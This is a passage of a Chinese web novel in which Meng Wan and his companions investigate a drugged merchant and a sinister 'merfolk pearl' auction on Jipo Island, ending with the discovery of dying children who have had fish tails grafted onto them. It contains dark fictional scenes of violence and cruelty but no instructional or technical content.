鲛人冢不知指的是这片湖,还是四周的岩石,这些岩石应该是天然形成,有大有小,形成一个似碗状的内壁。 然而此地并非真正的碗,岩壁也不是光滑平整的,岩石与岩石之间的缝隙便是一个个或深或浅的洞穴。 在一处偏僻的岩石浅凹处,传来一道沉闷的拍打声,沈老爷面无表情的站在女儿面前,语气冰冷,“我本来以为你比你姐姐懂事些,这才带你上岛,没想到你心野了,做起我的主来了。” 沈小姐受了他一巴掌,捂着红肿的脸颊也是满腹委屈,“女儿只是关心爹爹身体,不知何错之有?” 沈老爷恨不得再补给她一巴掌,“你还敢顶嘴?岛上这些富商,谁人不在传你长了一颗玲珑心,在船上才几日的功夫,就交好了一众小姐哥儿。你当他们猜不透你的这点小心思吗?人家背地里都在说你恨嫁!” 沈小姐才十四岁,被父亲指责还是会受伤难过,她大颗大颗的流着泪,“女儿为什么自己找婆家父亲还不知道吗?若不是母亲要把我嫁给城中的老鳏夫,我何至于出此下策?女儿难道不知道羞耻吗!” 她泣着泪,沁着血的控诉,在沈老爷看来一文不值,半点也激不起他的怜爱之心。 沈老爷冷笑,“你母亲千方百计为你打算,反倒是我们的不对了,既然你主意这么大,想必也不用我们教养,这次也不必跟我回苏州了,想去哪儿便去哪儿吧!” 他说完即拂袖离开,徒留伤心绝望的女儿在原地。 另一头孟晚达成目的,忙不迭的把楚辞拉倒“怎么样,那个沈老爷的病可有古怪之处?” 楚辞手比划的飞快,“我只查到他脉象确实古怪,似是中了毒,但具体是哪一种,目前尚不能确定。” 孟晚讶道:“连你都诊不出来?” 若是寻常疾病就算了,楚辞医术可能没有苗家人妙手回春,但他从小就和毒物打交道,这些年更是精进许多,连他都解不了的毒该有多厉害? 楚辞摇了摇头,带着几分迟疑的缓慢做了个手势,“我觉得很熟悉,有点像是我师父,但又不太确定。” “坪石镇上的怪道士?他还没死呢?”孟晚对他印象深刻,那怪道士当时可没少害人。 “他很厉害。”楚辞对老道士有种天然性的恐惧,当初要不是楚玉菁刺激楚辞那么一下,加上孟晚这个突如其来的契机,他当时不见得敢反抗怪道士。 孟晚单手搭在楚辞肩膀上,“若不是他,咱们就在吉婆岛上安然待上三天,再随夏大人去安南国都打探太子殿下的消息。” 牙根痒痒,孟晚想到自己在坪石镇被猫追狗撵的窘迫姿态,眼神中透出三分危险之色,“若是他,那就更好了,当初在坪石镇的仇我还没报呢,他敢露面,我定让他好看。” 有蚩羽和冯褚两位高手在,那怪道士再用什么山犭军之类的把戏也不好使了。 在鲛人冢里玩了半晌,美丽的景色令人流连忘返,直到返程的时候,女眷们还在小声讨论。 但是交际甚广的沈小姐这会儿却默不吭声,不管谁搭话,都是一声不回。 小姐们都是心高气傲的主,往日沈小姐主动就算了,大家还姐姐妹妹的叫着,这会儿她不搭理人,其他人都不想自讨没趣。 回院子之后,孟晚和蚩羽果不其然被沈小姐给迁怒了,她身边的大丫鬟听雨插着腰过来赶人的时候,孟晚已经把行李都收拾好了。 听雨脸色由白到青,又由青到白,最终冷哼一声,“哼,算你们识趣!” 现在天色尚早,孟晚使了银子给自己安排到一间独门小院里,正所谓有钱能使鬼推磨,就算他现在的身份是小侍也无碍,一样能享受到上级待遇。 在小院安顿下来,过了会儿到了晚膳的时间。可能是他们昨日炖的肉太过勾人,今天还有其他仆从过来想和他们搭伙吃饭,简称占便宜,不用孟晚出头,蚩羽一拳搞定。 反正他们过几天就走了,难道还怕得罪这些商人吗? 海上天气无常,气候多变,孟晚的饭菜刚出锅,外面已经噼里啪啦的下起雨来。 蚩羽端着饭碗,咽下一大口饭对孟晚说道,“夫郎,我们没带伞怎么办?”夫郎做饭真好吃! “不要紧,过一会儿有人给我们送。”孟晚不慌不忙的说。 蚩羽好奇道:“谁会给我们送伞啊?小辞吗?” 孟晚放下碗筷,眼神往外瞥,“呐,看外面。” 蚩羽扭头看去,果真见刚才收了孟晚“巨款”换房的管事撑着伞小跑着过来,胳膊下面还夹着两把油纸伞。 “晚哥儿啊,我看你们远道而来,应该没备这些杂物,过来给你们送把伞。” 孟晚淡淡的说:“多谢您了,放在一旁即可。” “欸,吃饭呢?慢慢吃,我送完伞这就走了啊?”管事的猫着腰把伞放到孟晚的桌上,还瞄着他们桌子上泛着油花的饭菜。 便是他们,也没有条件隔三差五的吃荤腥,也就是岛上有客人的时候还能吃上些外面的食物,平时都是吃不饱的海货和少量野菜。 “当”一小锭银子被孟晚随意扔在桌面上,惹得管事的眼睛从他们饭菜,挪到银闪闪的银锭上。 “当是我买下这两把伞吧,管事的若是有什么……还请多帮我打听打听。” 掌柜的挡住旁边人视线,动作迅速的将银锭收进自己怀里,“晚哥儿真是太客气了,我好心送伞,你给了钱这成什么了,真是……那我就不客气了啊!” “那什么,刚才我听说贵客那边又对父女吵起来了。” 花了钱就是好办事,孟晚问道:“父女?是不是姓沈的富商?” 管事的钱财到手,不肯说太多,他们被困在这座岛上,很多事情也都身不由己。 “小羽。”孟晚低声吩咐。 蚩羽以迅雷不及掩耳之势按住管事的,将他刚收进怀里的银锭和他自己的一小袋铜钱都抢了过去。 管事的要心疼死了,“我的小哥儿啊,你这是做什么,是姓沈,是姓沈,就是白日里挨了巴掌的那个女娘。” 孟晚把钱财重新还给他,“早说不就好了吗?” 管事的走后,孟晚思考良久,“晚上咱们也去沈老爷的住处看看?” 第11章 歌声 本来孟晚设想的很好,吃完饭回去休息,再与蚩羽一起夜探男客沈老爷那边。 可与一派松懈安宁的女眷相比,男客这边竟然截然不同,四处都是巡逻的护卫,只许出去,不准轻易进入。 蚩羽一个人去就罢了,带上运动细胞不发达的孟晚就有些不便。 “算了,你过去之后叫上小辞一起吧,行事小心些。”孟晚不放心的叮嘱蚩羽道。 “放心吧夫郎!”蚩羽借着夜色和雨夜的遮挡,悄无声息的出门。 他顺利寻到夏垣院里的楚辞,两人并未惊动夏垣等人,直奔沈老爷居住的院子。 男客这边的布局和女眷那边的相似,只不过院子与院子之间相隔较远,并不是紧挨着的。 而且男客这边还分为南北两大院,曾经来过吉婆岛的客人住在南院,如夏垣和陈振龙这样头一次来岛上的富商住在北院。 蚩羽帮着楚辞一起爬墙进了沈老爷所在的院子,他们来的正巧,里面正闹哄哄的乱着。 才五个人在场,却比过年杀猪还热闹。 “老爷您息怒啊!” “老爷,您别砸了,这都不是咱们家的东西,您这是怎么了?” “都愣着干嘛!快过来帮忙按住老爷。” 沈老爷的屋子里乱成一团,吵吵闹闹的声音不绝于耳。 蚩羽和楚辞趁着乱摸到主屋房顶,掀开灰色的瓦片定睛一瞧——只见白日还一派儒商气质的沈老爷,这会儿正赤红着眼睛发狂,在屋子内胡乱打砸东西。 有三个家丁正在屋里试图按压住他,却怎么按都按不住。其中一个反被沈老爷重重的掐住脖子不能动弹。 另外两个想帮,又不敢对沈老爷下重手,眼睁睁的看着同伴两腿一蹬咽了气。 角落里还跪着个发髻松散,脸颊红肿、眼神呆滞的少女。死了的小厮被沈老爷甩开的时候砸在桌子上,碎了一地的精致瓷器。 一片破碎的细小瓷片溅到少女白嫩的脸上,划出一道血痕。 “啊……啊!!!” 疼痛感终于让沈小姐惊醒过来,她恐惧的看着面前状若疯魔的男人,不敢相信这是自己伟岸的父亲。 害怕、无措、羞耻、不安,太多这个十四岁小女孩难以承受的情感蜂拥而至,让她崩溃的站起身来,扶着麻木的双腿,跌跌撞撞的想往外跑去。 但她的惊叫声像是叫醒了沈老爷,对方变得浑浊的目光,直直射到她身上,然后三两步跨到近前来,一把揪住她的衣领。 沈小姐的心跳到了嗓子眼上,她惊恐的看着沈老爷,唯恐自己会落得和地上死去的小厮一个下场。 “砰”地一声,房门被沈老爷从里面踹开。 院子里的小厮和护卫看着沈老爷精神异常的样子不敢上前,只是一味的规劝。 “老爷,您手里的是二小姐,先把二小姐放了吧。” “二小姐,您别怕,老爷一会儿就清醒了。” “老爷?您要带着二小姐去哪儿啊?” “跟上去,快都跟上去看看。” “小辞,我们要不要回去报告给夫郎?”觉得沈老爷除了乱发狂之外,好像也没什么其他有用信息,蚩羽看天色不早,想回去找孟晚。 他们趴在人家屋顶上怕被发现,蚩羽说话的声音小,见楚辞没答应,还以为他没听见,便又压着嗓子扭头问了句,“小辞……你怎么了?” 楚辞此刻像是整个人被钉在了房顶上,眼皮不自觉的痉挛,眼白和瞳仁上爬满了红血丝。 与他亲爹楚玉菁极为相似的脸上又僵又冷,依稀能看出另一个男人的模样。 楚辞眼睛死死盯着沈老爷抓着沈小姐离去的背影,仿佛透过他看到了陈勇。 孟晚当初没见过陈勇发狂的样子,可是楚辞见过,他清楚的知道从人变成野兽只需要那么一颗小小的粉色药丸。 它能让人如登仙境,也可令人坠入地府。 掌控人生,操纵人死。 楚辞手腕上的青筋鼓起,捏紧的拳头带动了腕上莹润的白玉手串。他无意识的用右手轻触手串,微凉的触感让他瞬间清醒过来,对在旁等待他的蚩羽比了个“跟上去”的手势。 两人跟上沈老爷,出了沈家暂住的小院,一直往外走到巨大的平台上,然后踏上了上山的台阶,看目的地正是那座巨大的道观。 道观门口有几个小道童看守,他们对发疯的沈老爷视若无睹,反而将身后的沈家仆人拦在原地。 另一头独自在房间等待的孟晚,熄灭油灯,穿着整齐的半倚在软榻上。 他现在住的这座小院有四五个房间,这会儿就只住了他和蚩羽两个,院子里很安静,孟晚也没有太大动作,呼吸浅淡,寂静无声。 突然,一声声若有若无的歌声飘荡进院子,孟晚将视线挪向窗户,这声音昨天夜里他也听到过。 急促的脚步声从院子门口传来,夹杂着惊怒交加的埋怨,“你们为什么不追过去,就这样放任小姐……” 剩下的话孟晚就听不真切了。 他家窗户被人从外面推开,蚩羽带着楚辞爬进来,楚辞面色沉重,蚩羽则絮絮叨叨的把沈老爷发狂的事和孟晚说了。 “……我们偷偷在另一头跟着上了山,但他们进了一处门后,我们就跟不进去了。” 孟晚薅了根蚩羽的头发,小心翼翼的放在窗框上,重新关好窗户,“不跟了,咱们现在出门去。” 孟晚带着蚩羽和楚辞,心中有了底。女眷这边管理轻松,管事的们也像是普通的打工人,夜里并不出来巡视。 三人出门去,至大平台处遥望山上的道观,里面漆黑一片,并未点燃油灯。 若有若无的声音变的更小了,但仍然有迹可循。 孟晚问蚩羽,“能听到歌声吗?” 蚩羽有功夫在身,五感比常人灵敏,他迟疑的点了点头,“这是歌声吗?我还以为是谁在哭。” 凄凄怨怨,说是在哭其实也没错。 孟晚拍拍他的胳膊,“不管是哭是唱歌,跟着这道声音走。” “好哦夫郎。” 有蚩羽在前面带路,仔细辨别了一番后往山下走去。走到一半他们就已经彻底听不到歌声了,但眼下的路真是他们白天去鲛人冢的路,按照白天的路程重走了一遍之后,到达鲛人冢附近果然又重新听到了歌声。 “竟然真是这里。”孟晚面露惊讶。 蚩羽不解,“距离这么远,怎么会传到那里的?” 孟晚跟在他们身后进了白日走过的隧道,解释说:“有时候在特殊的环境下,确实能实现这种现象,并不算稀奇。” 蚩羽不懂,但他不问了。 越是进入隧道,那声音听得越是真切,不成腔调,充满哀伤,确实很像是哭声。 蚩羽走在最前面,谨慎的探出个脑袋巡视了一圈后又退出来,“夫郎,里面好像没人啊?” “没人?”孟晚吩咐道:“你先进去看看,动静小心些。” 蚩羽进去找到白天的湖泊,在周围绕了一圈后回去找孟晚,“夫郎,里面确实没人,那声音不知道是从哪儿传出来的。” 孟晚和楚辞跟他进去,湖边确实空无一人,而歌声却越来越大,声音回荡在湖边所有空间。 孟晚在湖边坐了一会儿,仔细聆听,突然问道:“声音是不是从湖里传来的?” “湖里?那我下去看看。”蚩羽听孟晚说完,二话没说脱了上衣便一个猛子扎进湖里。 孟晚:“!” “蚩羽,你小点动静。”他压着声音的话在湖边小范围的回荡开来。 湖里的水波逐渐平静下来,蚩羽此时已经不知道游到哪里了。 袖子被楚辞扯了扯,孟晚看向他面色沉重的样子,“怎么了,刚才就不对劲。” 楚辞舞动的手指微微颤抖,“我师父可能真的在这座岛上。” 看出他状态不对,孟晚抱住他轻声安慰,“小辞,听我说,有我在不用怕。别说是个只会炼毒的道士,就是姓陈的从地下爬上来,你干爹我也能重新把他踩下去。” 楚辞深深的吐出一口浊气,将头埋在孟晚肩颈处,重重的点了点头。 “夫郎,你们在干嘛?”蚩羽悄无声息的从水里浮出来爬到岸边,神情复杂的看着孟晚和楚辞。 孟晚踹了他胳膊一下,“瞎想什么呢,这我儿子。” “哦哦,对,差点忘了。”蚩羽从湖里出来挠了挠头。 主要平时因为夫郎长得俊,没少被人觊觎,大人看谁都像在看贼,搞得他也习惯了,冷不丁看见个帅哥在抱夫郎,第一反应就是大人要被偷家。 “对了夫郎,下面没东西唱歌,但是我发现有条暗道。” 孟晚了然,“难怪你这么久才上来,密道里有空……嗯,是干得?” 蚩羽点头,“对,里面向上,但是我没往里走,那歌声也是从密道的另一头传过来的。” “不用进去了,免得打草惊蛇,我大概猜到那条密道大致通向哪里。” 累了一晚上,回去孟晚连洗澡的力气都没有,打了些水擦洗了身上就睡了。 第二天一早他觉没睡够就被旁边院子的吵闹声吵醒。 “蚩羽,外面怎么回事?”孟晚眼睛都没睁开,一脸困顿的问蚩羽。 蚩羽答道:“是沈小姐的事被她身边的大丫鬟知道了。” 沈小姐不见了,她身边的的丫鬟都急的不知如何是好,又不敢跑到沈老爷那里要人。 “嗯,知道了。上午我们哪儿都不去了,休息。”孟晚说完躺在床上又睡了过去。 一觉醒来,女眷这边的除了沈小姐的丫鬟们还留了一半在院子里着急,其余人都出去随自家主人出去观光。 据说今日岛主是要带客人们从平台处继续往山上走,去参观那座巨大的道观。 孟晚带蚩羽拎着一袋子银子出去,像是行走的财神爷,吸引着那些留守小管事的心脏。 吃饱喝足的同时,又打听了些关于道观的“小道消息”,孟晚还算满意。 午后众人回归,今日客人们的晚膳是在海边,那里支起了几堆篝火和炉锅,各种鲜美珍贵的海货像是取之不尽一般被岛上的杂役奉上。 孟晚他们这样的下人是没资格上桌和主人一起吃饭的,他们要应主人要求在一旁伺候。 反正不明不白的东西,白给孟晚他也不吃,倒是夏垣一口接着一口吃得不亦乐乎,将没见过世面的暴发户,饰演的惟妙惟肖。其他富商看他一眼都嫌,只有陈振龙愿意搭理他。 反观出身显富的沈老爷地位就高多了,哪怕在船上有些不好的传闻,但并不妨碍其他富商主动找他攀谈。 蚩羽见沈老爷人模狗样的与人交际,简直难以置信,“夫郎,他昨天还那样……” “我知道。”孟晚平静的说,他也随着蚩羽的目光看向沈老爷那边,对方简直像吃了十全大补丸一样,满面红光,兴奋异常,好似吃了一整根百年老参,精力无限。 啧,确定了,嗑药了没错。 “振龙,你怎么在这里,要过去和我们一起聊天吗?”一位浅棕色头发的女娘过来热情的招呼陈振龙。 她就是邀请陈振龙上岛的莉娜,是位长相娇小,眼睛圆溜溜的娇媚女人,据说做的是水产生意。 陈振龙不好拒绝好友邀请,只能对夏垣歉意的笑笑,随莉娜过去结识新的人脉。 不光如此,连一开始无人问津的夏垣,过了会儿都有人过来招呼。 “唐二!真是许久未见了,你和以前可是大不相同了。”远处走来一个中年男人,朗笑着招呼夏垣。 夏垣反应也快,毫无破绽的扬起个笑脸,一副惊喜的样子,“启秀!你这几天难道没在岛上?怎么前两日不见你?” 郭启秀一副老友相见,喜笑颜开的样子,“怎么不在岛上?有些杂事耽误罢了,没能第一时间去接你,没怪我吧?” “怪罪谈不上,但你将我叫来总不能让我空手而归吧?你信上说的那什么鲛珠若是能多帮我弄来十几颗,也不枉我从家里揣来的这么多银两。”夏垣转了转手上翠绿色的扳指,一副无知无畏的土大款模样。 郭启秀一愣,随后大笑,“你啊你,还是这副老样子!” 孟晚在一旁低调的给夏垣端茶倒水。 呦,感情今天全是熟人局。 第12章 真假岛主 今夜众位富商开始联络感情,相互之间打探,同莉娜等人打听鲛珠的事。 倒是这个和夏垣寒暄的郭启秀比较神秘,和夏垣聊了一会儿后,再无人找上来。 岛主伊莎贝尔在宴会中场的时候冒出来,妩媚的撩了撩头发,“诸位贵客在岛上这两日,想必也对我们吉婆岛有了些了解。我知道各位来的目的是鲛珠,明晚亥时,会有人将诸位贵客带去鲛人冢,我们的交易会在其中完成。” 伊莎贝尔承诺,“不论大家有没有买到鲛珠,后天一早,都会有船只过来接你们离开吉婆岛。” 孟晚认真的在后面听讲,蚩羽这两天打猎将这座海岛大致绕了绕,能停靠船只的海边处,确实没有任何船只,不光大船,连一艘小舟也不见。 吉婆岛的人很注意保护隐私,也很自信没人能在他们眼皮子底下逃跑。 后面伊莎贝尔说的都是些客气话了,她很擅长外交,长相不是绝美,但越看越是耐看。 说话的态度始终不咸不淡,不过分热情,也不会冷待,让这些富商们听得很舒心。 最重要的事情交代完毕,伊莎贝尔和其中几位富商又交谈了几句,而后完美离场。 她真的就像一个虚假的空壳,完美到没有灵魂。 孟晚自伊莎贝尔进场之后眼睛就一直盯在她身上,观察着她所接触的每一个人。 搞得蚩羽也很紧张的左顾右看,惹得很多被看的人莫名其妙。 再这样下去恐怕会过于引人注意,孟晚狠狠瞪了蚩羽一眼,提前将他拉回小院。 楚辞见状也悄然跟了过去。 “你刚才在干什么?”孟晚回到小院里便气不打一处来的问蚩羽。 蚩羽也委屈的不行,“我也想帮夫郎探查探查。” 孟晚哭笑不得,“你……唉,算了。反正今天也差不多了,一切看明天的吧。” 蚩羽跃跃欲试,“明天我们也要去买鲛珠吗?” 孟晚托着下巴,“我倒是想见识一番这个什么鲛珠,只怕有人会阻拦。” 蚩羽不大明白,“谁?我们在这座岛上好像也不认识谁吧?” 楚辞眉头轻皱,拖了把椅子坐在孟晚对面,手指比划一番,“岛上暗处还有人?” 孟晚笑吟吟的看着他,“不错,找了这么些人来岛上,就为了卖什么鲛珠?” “若是这鲛珠真是什么名贵珠宝,自然有人慕名而来,吉婆岛早就出了名。弄得这么神秘,十成里有九成是什么见不得人的东西,既然和怪道士有关,那就是十成十。”孟晚语气笃定。 楚辞最知道他师父手段有多残忍,剥数十张美人皮,可能只为了他突如其来的一点荒谬的想法。 他无不担忧的对孟晚抬手劝诫,“干爹,不能大意,要小心我师父。他最擅长的就是操纵其他人替他办事。” 孟晚笑着摸他脑袋,“我会小心的,现在咱们就想想,若是他们有意不让我们参加,我们该怎么进去搞破坏。” 蚩羽积极提问,“夫郎,你和小辞不是说有很危险的人物吗?那你干脆不要去啊,让夏大人身边的褚哥动手,他可是一流高手,少有能打得过他的人。” 孟晚无视他的问题,自顾自的和楚辞分析起来。 “依我来看,吉婆岛秘密请这么多富商来,应该是在暗自筛选他们,筛选标准也很好猜,沈老爷就是一个明晃晃的例子。” 在并不清楚这座海岛的秘密与利益往来的前提下,沈老爷这个明显的范例放在这里,孟晚就可以依据他向前推测。 楚辞比划,“要有钱。” “不错,有钱。”孟晚说出刚才盯梢伊莎贝尔的原因,“她走之前,分别与其中五个人交谈过,这五个人包含沈老爷在内,是这批人里财力最雄厚的人。” 两个禹国人,三个异国人。禹国人中除了沈老爷之外,另一个便是孟晚他们上船时,被那一老一少二人修理过的王姓富商。 孟晚继续说道:“除了有钱,还要胆子大,敢打敢拼的。比如陈振龙,他白手起家,家产虽然不丰,但人有魄力,能全力支配家中钱财。” 夏垣扮演的唐二就绝对不在条件之内,唐家再有钱,和唐二也没什么关系,今天若是他大哥来,可能才会被选中。 被孟晚无视,蚩羽本来神情低迷,听到孟晚说到这儿,他又兴致高涨,“我知道!他们谁都没有夫郎厉害,腰上能缠一万个罐子。” 孟晚端茶的手一抖,无奈的说:“那叫腰缠万贯,不是腰上缠一万个罐子。等回了西梧府你好好在上几天学,多长时间了,禹国官话说的都不利索,你要是独自出门,非再叫人骗了不可。” 蚩羽可是有先例在的,要不是宋亭舟当初救他一命,他这会儿人都被害死了,可见武力高强不代表就安枕无忧。 人心险恶这四个字,是孟晚走到现在,一路深有体会的。 “哦。”蚩羽不想上学,但他不敢反驳孟晚。 孟晚沉吟片刻,“明天定会有人过来我们院里,想方设法拖住我。” 楚辞手势中带着些迟疑,“我们是暴露了吗?” “暴露说不上,但肯定有人在背后关注。” 见蚩羽心虚的样子,孟晚说道:“和你无关,从到北海渡口之后,暗中就一直有人在观察我们一行人。之后上船我并未太过收敛,稍微聪明些的人都能看出来我不是寻常小侍。” 但孟晚并未收敛,像是故意如此行事一般。 —— “岛主,这些人的名单都在此处了。” 吉婆岛的一间密室内,伊莎贝尔正将一张薄薄的纸单,恭敬的递给面前的男人。听语气,对方才是吉婆岛真正的主人。 在海边篝火宴上和夏垣相谈甚欢的男人接过纸单,“伊莎贝尔,你做的很好,明晚又要辛苦你了。” 伊莎贝尔麻木的眼神中浮现出一丝痛苦,她缓缓低头,回了个“是”字后,便悄然离开。 “这个女人已经不适合岛主这个身份了。” 伊莎贝尔离开后,密室里又出现了另外一道声音,又轻又哑,但并不难听,反而带着股奇异魅力,让人迫不及待地想看看此人的真实面目。 郭启秀眼也不抬的说道:“偃,要是你肯留下来做我的岛主,我立即便让伊莎贝尔下台,可惜啊,你不愿意。” 偃自黑暗中现身,他身量不高不矮,体态偏瘦,肤色白皙,脸长得其实很普通,但和伊莎贝尔似的,很是耐看。 他的眉毛精致的修整过,又细又长,眉尾上翘,带着些锋芒。 唇上抹了脂膏,色泽偏紫,眼睛在与人说话的时候是微微下垂的。 浑身流露出来一股子神秘、沉静、内敛的气质,极其引人探究。让人不自觉的被他吸引,想靠近他、挖掘他内心隐藏最深的秘密。 “我在临安府做事,如何来你的岛上?不然你去和主人说,让他将我调走。”偃语气平静的说道。 郭启秀除非是活腻了才敢去找主子说这种事,他语气轻佻的说道:“你是得主人器重的人,不像我困守在这岛上,一辈子都要在此终老。” 偃意有所指的说:“你若真能在此终老,将是所有人都羡慕不来的。” 郭启秀神色一凛,“你什么意思?是不是得到了什么消息?” 偃冷笑一声,“你自己不是已经察觉到了吗?岛上上来了了不得的人。我知道你这里还有小船,今晚把船放出去,我要带蚩峟道长离开。” “这么着急,连道长都要带走?不就是乐正家的小辈吗?之前又不是没人上岛探查,何必如此惊慌?”郭启秀没想到偃会这么急着走。 偃的脸上露出个复杂的表情,“不光是乐正家。” 郭启秀恍然大悟,“我知道你说是谁,只是个哥儿而已,还不如乐正家的小辈棘手,我自有法子应对。” 偃把脸扭到一边,冷淡的说:“这都是你的事,人我都已经送上了岛,今晚就送我们离开。” 郭启秀探究的目光扫在偃的身上,“往常你都是等福船离开后再走,这次这么急,莫不是那小哥儿是你的熟人?” 偃的神情没有半分变化,“你不用试探我,虽不知道你的计划,但还是祝你自求多福。” 这话在郭启秀听来不亚于让他趁早准备棺材板,他脸色也阴沉起来,“我这就派船送你,这些年你送来岛上的孩子越来越少,我会如实禀告主人。” “随意。” 是夜,海岛月色皎洁,一艘小舟被人抬至浅滩,伴着一声微浅的叹息,被人划离吉婆岛,朝着不知名的方向远去。 —— 第二天一早,岛上之前被孟晚收买的管事,带了几个人来小院,“你们几个将这扇门给我守住了,今天晚上女客这边守死,所有人不得进出。特别是这一座,岛主特意交代,白天连只鸟也不许飞出去。” 他说完本来马上就要离开,但是突然觉得这座小院安静的过分了。 “等等,先把门打开看看。” 踹门的声音巨大,院里却没有人出来,管事的已经察觉到不对,冲进屋子里,里面果然已经人去楼空。 “夫郎,我们白天就在道观里待一天吗?”蚩羽将冲好的藕粉递给孟晚,熄灭了地上的火堆后,把他们的小水炉放在一边晾着。 孟晚舀着藕粉边吹边吃,“没想到老道士竟然不在道观里,先在这里待着,等晚上再说。” 他们昨天商量完事情,孟晚留下楚辞没让他回男客那边。楚辞出门不带笨重的药箱,都是背较为轻便的小包盛放药物,夏垣院里只有一些衣物,不要也罢。 三人大半夜就离开了小院,直奔道观而来,孟晚没想一上来就和怪道士起冲突,没成想道观里的守备并不森严,起码表面上只有几个洒扫的道童。 “前头晚上我和小辞跟着沈老爷来道观的时候,几个偏殿灯火通明,有很多人把守巡视,和今天一点也不一样。”蚩羽纳闷的说。 孟晚略有猜测,这座小岛同怪道士有关,但对方可能隐藏在更深处,或者已经离开了。 楚辞怅然若失,他刚在孟晚的鼓励下提起勇气,却突然得知暂时不用面对他,说不上是好还是不好。 白日他们仨就窝在偏殿,由蚩羽来回打探消息。 外面整个岛上都在筹备晚上鲛人冢的盛宴,一小部分人在满世界找孟晚他们。 “夫郎,他们会不会察觉不对,找到夏大人头上。”蚩羽跟在孟晚身边非常喜欢开发自己的头脑。 孟晚不以为意,“夏大人身边有冯褚呢,用不着咱们操心。” 蚩羽仍不死心,“那咱们不去鲛人冢那边看看吗?” 孟晚也在琢磨这事,“去是要去的,但现在我们要先在道观里找一个地方。” “什么地方?” “有水的地方。” 夕阳垂落海岸线,最后一缕橘色光辉消失的时候,黑暗接踵而至。 所有男客都被引到鲛人冢地带,且身边所有仆人只能在隧道外面等候。 谁也不知道那条长长的隧道里面发生了什么,所有富商抵达湖岸的时候,身上都换上了统一款式的黑色长袍,脸上戴着嵌着珍珠的白色面具。 除了个别体型过胖、过高、过矮的,再分不清谁人是谁。 鲛人冢被重新装扮了一番,湖中凭空出现一块木制平台,沿着湖边铺设着桌椅板凳,桌子上摆放了酒水海货。 其中两名面具人像是极为熟悉接下来的流程,直奔最中间的桌椅而去,坦坦荡荡的坐下喝酒。 其余人尚不明所以,见此便也跟着落座。 岛主伊莎贝尔最后现身,她身后的人守在隧道出口处。 “各位最期待的鲛珠已经准备妥当,随时可以拿出来供诸位拍卖,但……” 伊莎贝尔的目光在鲛人冢的四周巡视,“有两位调皮的哥儿偷偷溜到了这里,会打扰到贵客们享受今晚的鲛人之夜,还请出来随我们的人去外面等候吧。” 许多戴着面具的客人左顾右盼,但无人出声。 不说话,就不会有人识得他们的身份。 伊莎贝尔无奈了笑了下,“你们真的不出来吗?若是这样的话,我们只好将你们的主人逐出这里了。” 她拍拍手,叫来两名高大健壮的打手,将其中一个坐在边缘处的面具人提了起来。 “你们干什么?吉婆岛就是这样对待客人的吗?晚哥儿,晚哥儿!” 面具人大叫,听声音正是夏垣。 夏垣被打手拎起来绕着湖边走,一圈还没结束,他人就要断气了。 道观内的某个枯井里,蚩羽浑身湿漉漉的从里面爬出来,对孟晚汇报,“夫郎,夏大人被人抓住了,我去救他。” 孟晚一把按住他,“救什么救,死不了。” 第13章 鲛人之死 伊莎贝尔在鲛人冢把夏垣提起来溜了一圈,将人都快勒的淤血了,也没钓出孟晚来,只好作罢。 夏垣被扔到隧道里,不知道里面有没有人接应。 伊莎贝尔还是那副妖娆动人的模样,她身材绝顶,对着这些戴着面具的人突然娇媚的笑了一声,牵动了在场所有男人的视线,随后穿着她那条红色长裙毫无预兆的跳入水中,溅起大片水花后消失在湖里。 除了三两人还淡定的坐在椅子上,其余人都纷纷离开座位跑到湖边张望起来。 水波仍在湖面回荡,但水下却不见半个人影。 没人会以为伊莎贝尔是想不开了自杀,海岛上的人基本都熟识水性。 约莫过了一盏茶的时间,岸上的人还在围着湖边啧啧称奇,便见一抹蓝色倩影急速游来,整个人直接从湖水里窜出来。 伊莎贝尔竟又换了身水蓝色的罗纱长裙,她好像知道他们面具下的半张脸都是谁,抬臂揽住其中一个守在湖边的男人,仰头献上一吻,一颗粉色珠子顺畅的渡入那人口中。 男人从软玉温香中清醒过来,惊叫一声,“这是什么?”听声音竟然是陈振龙。 伊莎贝尔的声音缠绵悱恻,极为勾人,“是让您快活的东西。” 陈振龙一时间被他迷惑欲念渐起,但心中依旧藏着丝警惕,“这是不是鲛珠?” 伊莎贝尔的声音在这片特殊的岩壁旁回荡,带着诱导性的说:“您说它是,那它就是。” 其他人正羡慕陈振龙的艳遇时,伊莎贝尔再一次潜到水中,这次不是游到水底,而是爬到湖中间的木制平台上,于此同时水下又突然冒出一队乐师,分别坐在木制平台的边缘开始奏乐。 美妙的旋律在整个空间中回荡,连湖底的某间密道里都传来声响。 “我们要走了。” 一处狭小密道处隐着六道小巧的身影,他们在分吃果干,其中一个小男孩将口中的梅子干咽进肚子,珍惜的舔了舔唇上的糖渍,而后仰头说道:“岛主让我们在乐声响起时游上去跳舞。” 他们六人上身与常人相同,可下半身浸在水中,腰上各自系着块罗纱制成的短裙,偶尔拍打水面浮现的是一条条金色鱼尾。 鱼的尾巴远没有人类想象中那般漂亮,它冰冷、黏腻、还带着一股浓烈的腥味。在能想象到它是怎样被嵌合到这些孩子身上后,在场没人对这些金色尾巴抱有好感,反而胃里一阵恶心反胃。 楚辞半跪在一旁挨个给他们把脉,明明是阴凉的密室,他额头上却不断渗出冷汗,身为医者,他很久没这样狼狈过了。 “谢谢你,小哥哥,我知道我们活不了了,你们快离开吧,我们真的要上去了。”被楚辞把脉的小姑娘劝说道。 他们这六个孩子有男、有女、有小哥儿,看起来年岁相当,顶多七八岁的样子,比阿砚大不了多少。 可他们说出的话却有股说不出的荒凉,不该是这个年纪的孩子的语气,反倒像是暮年老妪,听不出一点生机和活力。 楚辞眼眶通红,却只能无能为力的退下。 “他们……他们才那样小,真的治不了了吗?”角落里的沈小姐声音颤抖的说。 她是被蚩羽从道观后院找到的,如今的情况也不太妙,头发被人剃光,身上换了身吉婆岛的杂役穿的普通衣裤。脸色惨白,说话带着轻喘,仿佛哪里受了伤。 楚辞沉默着摇了摇头,用手指比了个三字。 蚩羽难以置信,“他们只能活三年了吗?” 最开始说话的小男孩说:“你想说的是三天吧?”前头开始我们就已经疼的睡不着觉了,若不是早上被喂了药,可能现在都已经被活活疼死了。” “我们还有三天才能死掉吗?真想现在就去死啊。”一个面容最稚嫩可爱的小女孩说道。 其余人平静的附和,“就是,再像之前那么疼,还不如现在就死掉。” “我的伤口已经快烂到里面了,裙子我不敢脱下来。” “我也是,还要忍三天吗?明天岛主就不会给我们药吃了吧?” “没有药我会立即疼死的。” “他们不会让我们死掉。” 看着这些无辜的孩子一心求死的模样,孟晚也十分不忍,他捏紧了拳头,声音沉痛无比,“今日你们表演完,他们就再也不会拦着你们去死了。” 